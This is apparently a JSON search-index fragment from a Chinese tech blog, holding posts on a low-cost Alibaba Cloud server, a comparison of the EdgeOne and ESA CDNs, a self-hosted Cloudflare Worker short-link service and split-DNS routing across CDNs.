id=\"创建绑定弹性公网ip并且挂上cdt\"\u003e创建\u0026amp;绑定弹性公网IP并且挂上CDT\u003c/h3\u003e\n\u003cblockquote\u003e\n\u003cp\u003e因为弹性公网IP可以绑定CDT的每月200G免费流量，并且在绑定实例后，弹性公网IP将不会再扣费。如果后续删机的时候不要忘记释放弹性公网IP，否则会一直扣费\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003e进入 \u003ca href=\"https://vpc.console.aliyun.com/eip/cn-hongkong/eips\"\u003e专有网络管理控制台\u003c/a\u003e 如图选择，然后购买即可（这里显示的费用是纯持有不绑定的费用，一旦绑定就不计费了）\n\u003cimg loading=\"lazy\" src=\"/posts/aliyun-ecs-4rm/img/aliyun-ecs-4rm-7.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e接下来绑定弹性公网IP（因为我绑定过了，所以是解绑）\n\u003cimg loading=\"lazy\" src=\"/posts/aliyun-ecs-4rm/img/aliyun-ecs-4rm-8.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e接下来在这里绑定CDT，带宽最高可以拉到 2000Mbps，但是不推荐，一般300M够用了\n\u003cimg loading=\"lazy\" src=\"/posts/aliyun-ecs-4rm/img/aliyun-ecs-4rm-9.webp\"\u003e\u003c/p\u003e\n\u003ch3 id=\"配置alpine\"\u003e配置Alpine\u003c/h3\u003e\n\u003cblockquote\u003e\n\u003cp\u003e如果你安装了Alpine，默认是需要VNC进入手动配置系统的。如果是公共镜像，则已经可以用了，但不要忘了保证系统纯净\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003e进入 \u003ca href=\"https://ecs.console.aliyun.com/server/\"\u003e云服务器管理控制台\u003c/a\u003e 选择你刚买的ECS，接下来点击 \u003cstrong\u003e远程连接\u003c/strong\u003e ，展开更多，选择 \u003cstrong\u003e通过VNC远程连接\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e接下来就是愉快的敲命令环节~ （方括号内为默认值，你可以输入新值回车覆盖也可以直接回车应用默认值）\u003c/p\u003e","title":"什么？4元每月200G的服务器？还是阿里的？还有联通9929精品回程？？"},{"content":"前言 首先，EdgeOne是来的最早的，于25年7月就开始测试了，而ESA是10月才开放的。\n虽然EdgeOne在早期需要兑换码换免费套餐，而兑换码从早期的发推特然后找官方领码，再到Discord群组每天固定时间发码，最后到测速分享直接拿兑换码，门槛逐渐放低，功能逐渐齐全。\n而ESA由于是后来者，直接给每个阿里云账户发了一个免费的ESA套餐，如果你有多站点接入的需求，也可以通过拉人头来得到更多的免费套餐。\n就当前（26年1月）来说，两家的体验大差不差，但是EdgeOne和ESA的底层逻辑是有点区别的。\n底层逻辑对比 EdgeOne这个项目，特别是Page，在24年就已经初具雏形并且能够像那些大厂如Cloudflare Page，Github Page，Vercel等静态托管平台一样使用了，但是当时一是腾讯是悄咪咪上的，二是节点实在是太烂了，只有海外新加坡节点，也不支持国内节点。\n而ESA大概率是从老的DCDN和云函数FC改过来的，控制台就已经露出鸡脚了。\n规则引擎与WAF ESA的很多东西直接是照抄Cloudflare的，比如：\n并且还将每条规则（嵌套子规则也算一条）全部砍了一刀，免费套餐仅支持5条规则。\nEdgeOne 的优势 反观EdgeOne，它没有照抄Cloudflare，而是自己写了一套规则引擎，所有类型的规则都在一处地方配置，并且可以互相联动。\n甚至你还可以对不合法请求在L7给空。（不推荐，规则引擎的假拦截也算正常请求） 优先级陷阱 并且要注意一点，虽然你可以在规则引擎里伪装一个WAF拦截，但是在EdgeOne中，流量会先经由规则引擎，再经过WAF，也就是如果你在WAF写了个非CN拦截，然后在规则引擎里写个非CN给空，海外IP访问只能看到空响应，看不到拦截页面，流量也照记（难绷）。\nESA 的策略 而ESA这边，WAF的优先级始终是最高的，流量会先被WAF网关审查，通过后才应用规则，但是免费套餐不支持在WAF中设置地域级别的拦截（难绷）。\n曲线救国方案 但是有个曲线救国的方案，就是先写个规则将流量全拦截，然后再写个白名单规则，将可信流量绕过该规则。\n回源配置 再接着就是因为ESA照抄Cloudflare，所以创建加速站点的时候默认是HTTP走80，HTTPS走443回源，如果你要更改回源的端口，还需要浪费一个回源规则。\n而EdgeOne可以在创建站点的时候直接就设置回源端口以及回源Host。\nSSL 证书签发 再到SSL签发，首先两家都支持默认的CNAME签发，也就是你把域名解析到我这，我帮你签SSL，但是EdgeOne的CNAME签发是每一个站点单独签一次。\n而ESA是统一管理，你给我个DCV，我直接给你签一个泛域名，之后你就用去吧。\n规则隔离与互通 然后就是最重磅的，EdgeOne独属的左右脑互搏时刻。\n在EdgeOne CDN和EdgeOne Page中，他俩的规则竟然不是互通的，CDN业务走CDN的规则，Page的规则走Page的规则，也行吧，他想做干湿分离，我配两套没问题。\n功能阉割 但是！阉割是什么意思，为什么CDN可以写地域判断，Page就只能写IP？\n那么也没有什么让Page吃上CDN规则的方法呢？有的，兄弟有的（但是这样会在控制台看到双倍流量，如果你的Page纯静态，可以写个全缓存缓解一下）。\nPage 服务对比 接着到Page部分。\nEdgeOne的Page你可以直接看作是Cloudflare Page的本地化，甚至突破了核心代码，直接可以在Page里面跑Nodejs服务，要知道，Cloudflare Page也只有一个V8环境（Umami也可以！SSR函数小于等于128MB即可）并且可以托管海量大和多的文件。\n而ESA Page非常像云函数FC改过来的，虽然也支持函数吧，但没有完整的Nodejs环境，甚至最近WebSocket也被砍了（关闭后就打不开了），并且托管的文件数以及单文件大小如下限制。\n速度与限速 最后就是速度相关，根据多方数据以及自测，两个CDN都会在长时间的单IP上下行请求逐渐将速率削减至大约 500KB/s，但如果只是正常业务使用，短时间的突发速率都可以飙到50MB/s左右（但不能长期），所以这俩CDN都不适合反向代理对象存储以及大文件分发，如果有类似业务需求还是老实用Cloudflare，CF是不限速的。\n","permalink":"https://blog.2x.nz/posts/eovsesa/","summary":"\u003ch1 id=\"前言\"\u003e前言\u003c/h1\u003e\n\u003cp\u003e首先，EdgeOne是来的最早的，于25年7月就开始测试了，而ESA是10月才开放的。\u003c/p\u003e\n\u003cp\u003e虽然EdgeOne在早期需要兑换码换免费套餐，而兑换码从早期的发推特然后找官方领码，再到Discord群组每天固定时间发码，最后到测速分享直接拿兑换码，门槛逐渐放低，功能逐渐齐全。\u003c/p\u003e\n\u003cp\u003e而ESA由于是后来者，直接给每个阿里云账户发了一个免费的ESA套餐，如果你有多站点接入的需求，也可以通过拉人头来得到更多的免费套餐。\u003c/p\u003e\n\u003cp\u003e就当前（26年1月）来说，两家的体验大差不差，但是EdgeOne和ESA的底层逻辑是有点区别的。\u003c/p\u003e\n\u003ch1 id=\"底层逻辑对比\"\u003e底层逻辑对比\u003c/h1\u003e\n\u003cp\u003eEdgeOne这个项目，特别是Page，在24年就已经初具雏形并且能够像那些大厂如Cloudflare Page，Github Page，Vercel等静态托管平台一样使用了，但是当时一是腾讯是悄咪咪上的，二是节点实在是太烂了，只有海外新加坡节点，也不支持国内节点。\u003c/p\u003e\n\u003cp\u003e而ESA大概率是从老的DCDN和云函数FC改过来的，控制台就已经露出鸡脚了。\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/eovsesa/img/eovsesa-1.webp\"\u003e\u003c/p\u003e\n\u003ch1 id=\"规则引擎与waf\"\u003e规则引擎与WAF\u003c/h1\u003e\n\u003cp\u003eESA的很多东西直接是照抄Cloudflare的，比如：\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/eovsesa/img/eovsesa-3.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/eovsesa/img/eovsesa-2.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e并且还将每条规则（嵌套子规则也算一条）全部砍了一刀，免费套餐仅支持5条规则。\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/eovsesa/img/eovsesa-4.webp\"\u003e\u003c/p\u003e\n\u003ch2 id=\"edgeone-的优势\"\u003eEdgeOne 的优势\u003c/h2\u003e\n\u003cp\u003e反观EdgeOne，它没有照抄Cloudflare，而是自己写了一套规则引擎，所有类型的规则都在一处地方配置，并且可以互相联动。\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/eovsesa/img/eovsesa-5.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/eovsesa/img/eovsesa-6.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e甚至你还可以对不合法请求在L7给空。（不推荐，规则引擎的假拦截也算正常请求）\n\u003cimg loading=\"lazy\" src=\"/posts/eovsesa/img/1f63e461bfa538605c7734042edd68f6.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/eovsesa/img/eovsesa-7.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/eovsesa/img/eovsesa-8.webp\"\u003e\u003c/p\u003e\n\u003ch3 id=\"优先级陷阱\"\u003e优先级陷阱\u003c/h3\u003e\n\u003cp\u003e并且要注意一点，虽然你可以在规则引擎里伪装一个WAF拦截，但是在EdgeOne中，流量会先经由规则引擎，再经过WAF，也就是如果你在WAF写了个非CN拦截，然后在规则引擎里写个非CN给空，海外IP访问只能看到空响应，看不到拦截页面，流量也照记（难绷）。\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/eovsesa/img/eovsesa-9.webp\"\u003e\u003c/p\u003e\n\u003ch2 id=\"esa-的策略\"\u003eESA 的策略\u003c/h2\u003e\n\u003cp\u003e而ESA这边，WAF的优先级始终是最高的，流量会先被WAF网关审查，通过后才应用规则，但是免费套餐不支持在WAF中设置地域级别的拦截（难绷）。\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/eovsesa/img/eovsesa-10.webp\"\u003e\u003c/p\u003e\n\u003ch3 id=\"曲线救国方案\"\u003e曲线救国方案\u003c/h3\u003e\n\u003cp\u003e但是有个曲线救国的方案，就是先写个规则将流量全拦截，然后再写个白名单规则，将可信流量绕过该规则。\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/eovsesa/img/eovsesa-11.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/eovsesa/img/eovsesa-12.webp\"\u003e\u003c/p\u003e\n\u003ch1 id=\"回源配置\"\u003e回源配置\u003c/h1\u003e\n\u003cp\u003e再接着就是因为ESA照抄Cloudflare，所以创建加速站点的时候默认是HTTP走80，HTTPS走443回源，如果你要更改回源的端口，还需要浪费一个回源规则。\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/eovsesa/img/eovsesa-13.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e而EdgeOne可以在创建站点的时候直接就设置回源端口以及回源Host。\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/eovsesa/img/eovsesa-14.webp\"\u003e\u003c/p\u003e\n\u003ch1 id=\"ssl-证书签发\"\u003eSSL 证书签发\u003c/h1\u003e\n\u003cp\u003e再到SSL签发，首先两家都支持默认的CNAME签发，也就是你把域名解析到我这，我帮你签SSL，但是EdgeOne的CNAME签发是每一个站点单独签一次。\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/eovsesa/img/eovsesa-15.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e而ESA是统一管理，你给我个DCV，我直接给你签一个泛域名，之后你就用去吧。\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/eovsesa/img/eovsesa-16.webp\"\u003e\u003c/p\u003e\n\u003ch1 id=\"规则隔离与互通\"\u003e规则隔离与互通\u003c/h1\u003e\n\u003cp\u003e然后就是最重磅的，EdgeOne独属的左右脑互搏时刻。\u003c/p\u003e\n\u003cp\u003e在EdgeOne CDN和EdgeOne Page中，他俩的规则竟然不是互通的，CDN业务走CDN的规则，Page的规则走Page的规则，也行吧，他想做干湿分离，我配两套没问题。\u003c/p\u003e\n\u003ch2 id=\"功能阉割\"\u003e功能阉割\u003c/h2\u003e\n\u003cp\u003e但是！阉割是什么意思，为什么CDN可以写地域判断，Page就只能写IP？\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/eovsesa/img/eovsesa-17.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/eovsesa/img/eovsesa-18.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e那么也没有什么让Page吃上CDN规则的方法呢？有的，兄弟有的（但是这样会在控制台看到双倍流量，如果你的Page纯静态，可以写个全缓存缓解一下）。\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/eovsesa/img/eovsesa-19.webp\"\u003e\u003c/p\u003e\n\u003ch1 id=\"page-服务对比\"\u003ePage 服务对比\u003c/h1\u003e\n\u003cp\u003e接着到Page部分。\u003c/p\u003e\n\u003cp\u003eEdgeOne的Page你可以直接看作是Cloudflare Page的本地化，甚至突破了核心代码，直接可以在Page里面跑Nodejs服务，要知道，Cloudflare Page也只有一个V8环境（Umami也可以！SSR函数小于等于128MB即可）并且可以托管海量大和多的文件。\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/eovsesa/img/eovsesa-20.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e而ESA Page非常像云函数FC改过来的，虽然也支持函数吧，但没有完整的Nodejs环境，甚至最近WebSocket也被砍了（关闭后就打不开了），并且托管的文件数以及单文件大小如下限制。\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/eovsesa/img/eovsesa-21.webp\"\u003e\u003c/p\u003e\n\u003ch1 id=\"速度与限速\"\u003e速度与限速\u003c/h1\u003e\n\u003cp\u003e最后就是速度相关，根据多方数据以及自测，两个CDN都会在长时间的单IP上下行请求逐渐将速率削减至大约 500KB/s，但如果只是正常业务使用，短时间的突发速率都可以飙到50MB/s左右（但不能长期），所以这俩CDN都不适合反向代理对象存储以及大文件分发，如果有类似业务需求还是老实用Cloudflare，CF是不限速的。\u003c/p\u003e","title":"EO VS ESA，谁才是国内CDNの王？！"},{"content":"前言 原本这篇内容更适合写进仓库的 README，因为它本质上就是一个简洁的自部署教程。不过在实际整理时，我发现如果强行拆成 GitHub Pages + Cloudflare Worker 的前后端分离方案，反而会增加不少额外工作。实际上，这个项目只需要一个 Cloudflare Worker 就能跑起来，所以干脆单独写成一篇文章，方便说明整体思路。\n项目原理 这个项目和上一篇短链项目的思路比较接近，不过整体做得更精简一些。\n首先，这个项目把前后端逻辑合并到了同一套体系里。前端基本不做复杂校验，主要校验工作都放在后端处理，这样就不用在两个项目之间来回维护规则。\n由于前端部分非常简单，只有两个 HTML 页面（一个用于创建短链，一个用于跳转），因此合并后也不会显得臃肿。\n另外，这个项目不再依赖 Cloudflare 服务端提供的 301/302 重定向规则，因此也绕开了 2000 条静态重定向的数量限制。它的做法是：当 CDN 请求静态资源命中 404 时，回退到 404.html，再由其中的 JavaScript 负责查询短链规则并执行跳转，思路上有些类似 Nginx 的伪静态。\n如果某个 pathname 没有命中任何规则，也会统一落到默认回退源，这样就能兼容类似 https://2x.nz/posts/pin/ --\u0026gt; https://blog.acofork.com/posts/pin/ 这样的场景。\n创建短链的逻辑和上一个项目也比较相似：由 Worker 代理访问 GitHub，修改对应的 JS 文件并新增一条短链规则，然后推送到仓库。提交完成后会自动触发 Cloudflare Worker 的重新构建，稍等片刻后，新路径就能正常跳转。\n最后，这个项目还支持有效期。实现方式也很直接：前端在创建短链时把过期时间一并传给后端，后端将其写入规则文件，再借助 GitHub Action 定时巡检并清理过期短链。\n在哪搞个短链 我的 2x.nz 是在 https://porkbun.com 购买的，价格大概是一年一百元左右。其他后缀也可以考虑，比如 .im、.mk。\n正式搭建你的短链服务 首先，Fork仓库\nafoim/Static_Redirect_Group\n接下来，先修改一些硬编码内容。由于 Cloudflare Worker 在处理静态资源时不能直接使用环境变量，因此部分信息是直接写在 HTML 里的。你可以在所有 HTML 文件中搜索 afoim 并替换成自己的内容；如果你愿意，也可以额外增加一层配置，并在构建阶段注入这些值。\n然后，请修改 js 文件夹中的短链规则，替换成你自己的配置。\n再接着，创建一个 GitHub Token，只需要授予 repo 权限即可。\n继续，绑定机密环境变量，使用 wrangler secret put XXX\n变量名 值 说明 GITHUB_TOKEN ghp_xxxx... 刚才申请的 Token GITHUB_OWNER 你的GitHub用户名 例如 afoim GITHUB_REPO Static_Redirect_Group 你的仓库名 BASE_DOMAIN 你的短链域名 例如 u.2x.nz 或 Worker 的默认域名 xxx.workers.dev 完成这些配置后，访问 /_url 就可以开始创建短链了。\n防护 建议重点保护创建短链的入口，避免被滥刷。你可以使用 Cloudflare Turnstile、速率限制或其他方式进行防护。\n在Cloudflare创建一个WAF规则\n当传入请求匹配时\u0026hellip;\n(http.host eq \u0026#34;你的域名\u0026#34; and ( http.request.uri.path eq \u0026#34;/_url\u0026#34; or http.request.uri.path wildcard \u0026#34;/api/*\u0026#34; )) 然后采取措施…\n交互式质询\n","permalink":"https://blog.2x.nz/posts/static-redirect-group/","summary":"\u003ch1 id=\"前言\"\u003e前言\u003c/h1\u003e\n\u003cp\u003e原本这篇内容更适合写进仓库的 \u003ccode\u003eREADME\u003c/code\u003e，因为它本质上就是一个简洁的自部署教程。不过在实际整理时，我发现如果强行拆成 GitHub Pages + Cloudflare Worker 的前后端分离方案，反而会增加不少额外工作。实际上，这个项目只需要一个 Cloudflare Worker 就能跑起来，所以干脆单独写成一篇文章，方便说明整体思路。\u003c/p\u003e\n\u003ch1 id=\"项目原理\"\u003e项目原理\u003c/h1\u003e\n\u003cp\u003e这个项目和上一篇短链项目的思路比较接近，不过整体做得更精简一些。\u003c/p\u003e\n\u003cp\u003e首先，这个项目把前后端逻辑合并到了同一套体系里。前端基本不做复杂校验，主要校验工作都放在后端处理，这样就不用在两个项目之间来回维护规则。\u003c/p\u003e\n\u003cp\u003e由于前端部分非常简单，只有两个 HTML 页面（一个用于创建短链，一个用于跳转），因此合并后也不会显得臃肿。\u003c/p\u003e\n\u003cp\u003e另外，这个项目不再依赖 Cloudflare 服务端提供的 301/302 重定向规则，因此也绕开了 2000 条静态重定向的数量限制。它的做法是：当 CDN 请求静态资源命中 404 时，回退到 \u003ccode\u003e404.html\u003c/code\u003e，再由其中的 JavaScript 负责查询短链规则并执行跳转，思路上有些类似 Nginx 的伪静态。\u003c/p\u003e\n\u003cp\u003e如果某个 \u003ccode\u003epathname\u003c/code\u003e 没有命中任何规则，也会统一落到默认回退源，这样就能兼容类似 \u003ccode\u003ehttps://2x.nz/posts/pin/ --\u0026gt; https://blog.acofork.com/posts/pin/\u003c/code\u003e 这样的场景。\u003c/p\u003e\n\u003cp\u003e创建短链的逻辑和上一个项目也比较相似：由 Worker 代理访问 GitHub，修改对应的 JS 文件并新增一条短链规则，然后推送到仓库。提交完成后会自动触发 Cloudflare Worker 的重新构建，稍等片刻后，新路径就能正常跳转。\u003c/p\u003e\n\u003cp\u003e最后，这个项目还支持有效期。实现方式也很直接：前端在创建短链时把过期时间一并传给后端，后端将其写入规则文件，再借助 GitHub Action 定时巡检并清理过期短链。\u003c/p\u003e\n\u003ch1 id=\"在哪搞个短链\"\u003e在哪搞个短链\u003c/h1\u003e\n\u003cp\u003e我的 \u003ccode\u003e2x.nz\u003c/code\u003e 是在 \u003ca href=\"https://porkbun.com\"\u003ehttps://porkbun.com\u003c/a\u003e 购买的，价格大概是一年一百元左右。其他后缀也可以考虑，比如 \u003ccode\u003e.im\u003c/code\u003e、\u003ccode\u003e.mk\u003c/code\u003e。\u003c/p\u003e\n\u003ch1 id=\"正式搭建你的短链服务\"\u003e正式搭建你的短链服务\u003c/h1\u003e\n\u003cp\u003e首先，Fork仓库\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/afoim/Static_Redirect_Group\"\u003eafoim/Static_Redirect_Group\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e接下来，先修改一些硬编码内容。由于 Cloudflare Worker 在处理静态资源时不能直接使用环境变量，因此部分信息是直接写在 HTML 里的。你可以在所有 HTML 文件中搜索 \u003ccode\u003eafoim\u003c/code\u003e 并替换成自己的内容；如果你愿意，也可以额外增加一层配置，并在构建阶段注入这些值。\u003c/p\u003e","title":"完全免费！搭建一个自己的短链服务！"},{"content":"需分流的网站 博客本体，主站 https://blog.acofork.com Umami，用于在网站插入一个JS来进行访客统计以及展示访客信息 https://umami.acofork.com/share/CdkXbGgZr6ECKOyK 静态随机图，用于置顶文章Cover和整个网站的背景图 https://pic1.acofork.com\n其他： https://acofork.com , https://www.acofork.com 这些都是要 301 重定向到 https://blog.acofork.com 的域名，我们也需要为其配置分流\n各CDN SSL申请方案 EdgeOne 由于NS直接在EdgeOne，故直接申请 ESA 使用DCV委派 Cloudflare 使用HTTP验证，由于ACME验证节点在国外，所以它只会看到CNAME到Cloudflare的记录，从而签发SSL 针对重定向的域名，由于默认所有请求都会被重定向到新域，ACME自然无法验证，所以我们需要写一条排除规则，让ACME验证路径直接返回200 OK，其余的路径再重定向 源站类型 静态型 国内使用对应CDN的Page业务，海外使用Cloudflare Worker。至于为什么不将 blog.acofork.com 也放在EdgeOne Page，一是因为EdgeOne CDN和Page的WAF规则是分开的，而Page业务的WAF规则不是很好做海外封锁，二是因为EO在之前被打的时候将这个子域封了。而ESA Page可以很简单做到海外封禁 动态型 国内使用IPv6回源（用户 - IPv4 - EO/ESA CDN - IPv6 - 源站）。至于为什么不用ESA，是因为ESA CDN回源非标端口需要像Cloudflare一样写一条回源规则，占用免费规则集5条中的其中之一 海外采用Cloudflare Tunnel（用户 - IPv4 - CF CDN - 内部连接 - 源站） 浏览器客户端实现监看当前访问节点 利用浏览器JavaScript发送HEAD请求拿取对端响应头Server字段并回显（若跨域则需要设置 Access-Control-Expose-Headers 响应头，值为 server 注意事项 ESA Page对超多资源和大文件支持很差。例如静态随机图项目无法部署到ESA Page（超出了2000个静态资产） ESA CDN针对于回源非标端口和Cloudflare一样要通过写回源规则实现，很浪费规则，推荐使用EdgeOne CDN，可以随意指定回源端口 如果你要做分流业务，必须将域名NS托管在国内的DNS解析服务商，因为Cloudflare不支持域名分流解析，并且请将默认解析给CF，将境内解析给国内节点，不要反着来 分流的原理是DNS看查询的源IP，如果是国内则返回国内节点，海外则返回海外。也就是说你的出口IP决定访问的节点，若你开梯子（如美国），就算你在国内，访问到的也是海外节点 DCV委派只能写一条，如果你的NS在EO，可以写DCV给ESA，而Cloudflare使用HTTP验证，这一切都将是一劳永逸，全自动化的 Cloudflare SaaS 在接入外部域名时，非常建议选择 HTTP验证来签发SSL，下文会详细说明该验证模式的好处。我们都知道，Cloudflare SaaS 在创建的时候，对于申请SSL默认选项是 TXT验证，但是该方式并不好，我们都知道，使用TXT验证的确可以签发证书，但在3月后（上一个SSL证书过期后），我们需要及时更新TXT记录来重新申领新的SSL证书，但是HTTP验证就不是这样了，Cloudflare CDN会自动在边缘节点放上HTTP验证的文件，并且Cloudflare可以随时更改，这样，你就不需要在申领新SSL的时候做任何事情了，一切都由Cloudflare自动实现 Cloudflare SaaS接入外部域名后，对于该外部域名是可以享有所有Cloudflare单域名下服务（也包括Cloudflare Worker，参见： Cloudflare Worker 优选）。也可以配置规则等业务，你最终访问的是哪个域名就写哪个主机名，不要写回退源的主机名，除非你想让该规则仅在直接访问回退源时生效 Cloudflare Tunnel实际上是可以自定义生效的域名的，并非仅局限于账户内域名（虽然你在控制台看着是这样），我们可以通过抓包更改请求体来实现各种各样的域名，它没有验证，详见：Cloudflare Tunnel 优选 分流做完后，一定要针对国内节点启用封锁海外模式，这能大大降低被DDoS致使CDN商给你域名取消接入的概率。Cloudflare随你，因为打不死，如果你的源站Hold不住，也请配置点策略。因为刷子（DDoS发起者可以通过强行绑定域名和IP来通过便宜量大的海外IP来攻击你脆弱的国内节点，如果什么防护都不做，很可能被刷几个TB的异常流量然后被CDN取消接入） 成果展示 博客本体 Umami 随机图 ","permalink":"https://blog.2x.nz/posts/fenliu/","summary":"\u003ch1 id=\"需分流的网站\"\u003e需分流的网站\u003c/h1\u003e\n\u003cp\u003e博客本体，主站\n\u003ca href=\"https://blog.acofork.com\"\u003ehttps://blog.acofork.com\u003c/a\u003e\nUmami，用于在网站插入一个JS来进行访客统计以及展示访客信息\n\u003ca href=\"https://umami.acofork.com/share/CdkXbGgZr6ECKOyK\"\u003ehttps://umami.acofork.com/share/CdkXbGgZr6ECKOyK\u003c/a\u003e\n静态随机图，用于置顶文章Cover和整个网站的背景图\n\u003ca href=\"https://pic1.acofork.com\"\u003ehttps://pic1.acofork.com\u003c/a\u003e\u003c/p\u003e\n\u003chr\u003e\n\u003cp\u003e其他： \u003ca href=\"https://acofork.com\"\u003ehttps://acofork.com\u003c/a\u003e , \u003ca href=\"https://www.acofork.com\"\u003ehttps://www.acofork.com\u003c/a\u003e\n这些都是要 \u003cstrong\u003e301\u003c/strong\u003e 重定向到 \u003ca href=\"https://blog.acofork.com\"\u003ehttps://blog.acofork.com\u003c/a\u003e 的域名，我们也需要为其配置分流\u003c/p\u003e\n\u003ch1 id=\"各cdn-ssl申请方案\"\u003e各CDN SSL申请方案\u003c/h1\u003e\n\u003ch3 id=\"edgeone\"\u003eEdgeOne\u003c/h3\u003e\n\u003cp\u003e由于NS直接在EdgeOne，故直接申请\n\u003cimg loading=\"lazy\" src=\"/posts/fenliu/img/fenliu-1.webp\"\u003e\u003c/p\u003e\n\u003ch3 id=\"esa\"\u003eESA\u003c/h3\u003e\n\u003cp\u003e使用DCV委派\n\u003cimg loading=\"lazy\" src=\"/posts/fenliu/img/fenliu-2.webp\"\u003e\u003c/p\u003e\n\u003ch3 id=\"cloudflare\"\u003eCloudflare\u003c/h3\u003e\n\u003cp\u003e使用HTTP验证，由于ACME验证节点在国外，所以它只会看到CNAME到Cloudflare的记录，从而签发SSL\n\u003cimg loading=\"lazy\" src=\"/posts/fenliu/img/fenliu-3.webp\"\u003e\n针对重定向的域名，由于默认所有请求都会被重定向到新域，ACME自然无法验证，所以我们需要写一条排除规则，让ACME验证路径直接返回200 OK，其余的路径再重定向\n\u003cimg loading=\"lazy\" src=\"/posts/fenliu/img/fenliu-17.webp\"\u003e\u003c/p\u003e\n\u003ch1 id=\"源站类型\"\u003e源站类型\u003c/h1\u003e\n\u003ch3 id=\"静态型\"\u003e静态型\u003c/h3\u003e\n\u003cp\u003e国内使用对应CDN的Page业务，海外使用Cloudflare Worker。至于为什么不将 \u003ccode\u003eblog.acofork.com\u003c/code\u003e 也放在EdgeOne Page，一是因为EdgeOne CDN和Page的WAF规则是分开的，而Page业务的WAF规则不是很好做海外封锁，二是因为EO在之前被打的时候将这个子域封了。而ESA Page可以很简单做到海外封禁\n\u003cimg loading=\"lazy\" src=\"/posts/fenliu/img/fenliu-4.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/fenliu/img/fenliu-5.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/fenliu/img/fenliu-16.webp\"\u003e\u003c/p\u003e\n\u003ch3 id=\"动态型\"\u003e动态型\u003c/h3\u003e\n\u003cp\u003e国内使用IPv6回源（用户 - IPv4 - EO/ESA CDN - IPv6 - 源站）。至于为什么不用ESA，是因为ESA CDN回源非标端口需要像Cloudflare一样写一条回源规则，占用免费规则集5条中的其中之一\n\u003cimg loading=\"lazy\" src=\"/posts/fenliu/img/fenliu-6.webp\"\u003e\n海外采用Cloudflare Tunnel（用户 - IPv4 - CF CDN - 内部连接 - 源站）\n\u003cimg loading=\"lazy\" src=\"/posts/fenliu/img/fenliu-7.webp\"\u003e\u003c/p\u003e\n\u003ch1 id=\"浏览器客户端实现监看当前访问节点\"\u003e浏览器客户端实现监看当前访问节点\u003c/h1\u003e\n\u003cp\u003e利用浏览器JavaScript发送HEAD请求拿取对端响应头Server字段并回显（若跨域则需要设置 \u003cstrong\u003eAccess-Control-Expose-Headers\u003c/strong\u003e 响应头，值为 \u003cstrong\u003eserver\u003c/strong\u003e\n\u003cimg loading=\"lazy\" src=\"/posts/fenliu/img/fenliu-12.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/fenliu/img/ae6f93ce318fa428e94256c2b4a501e1.webp\"\u003e\u003c/p\u003e\n\u003ch1 id=\"注意事项\"\u003e注意事项\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003eESA Page对超多资源和大文件支持很差。例如静态随机图项目无法部署到ESA Page（超出了2000个静态资产）\u003c/li\u003e\n\u003cli\u003eESA CDN针对于回源非标端口和Cloudflare一样要通过写回源规则实现，很浪费规则，推荐使用EdgeOne CDN，可以随意指定回源端口\n\u003cimg loading=\"lazy\" src=\"/posts/fenliu/img/fenliu-8.webp\"\u003e\u003c/li\u003e\n\u003cli\u003e如果你要做分流业务，必须将域名NS托管在国内的DNS解析服务商，因为Cloudflare不支持域名分流解析，并且请将默认解析给CF，将境内解析给国内节点，不要反着来\n\u003cimg loading=\"lazy\" 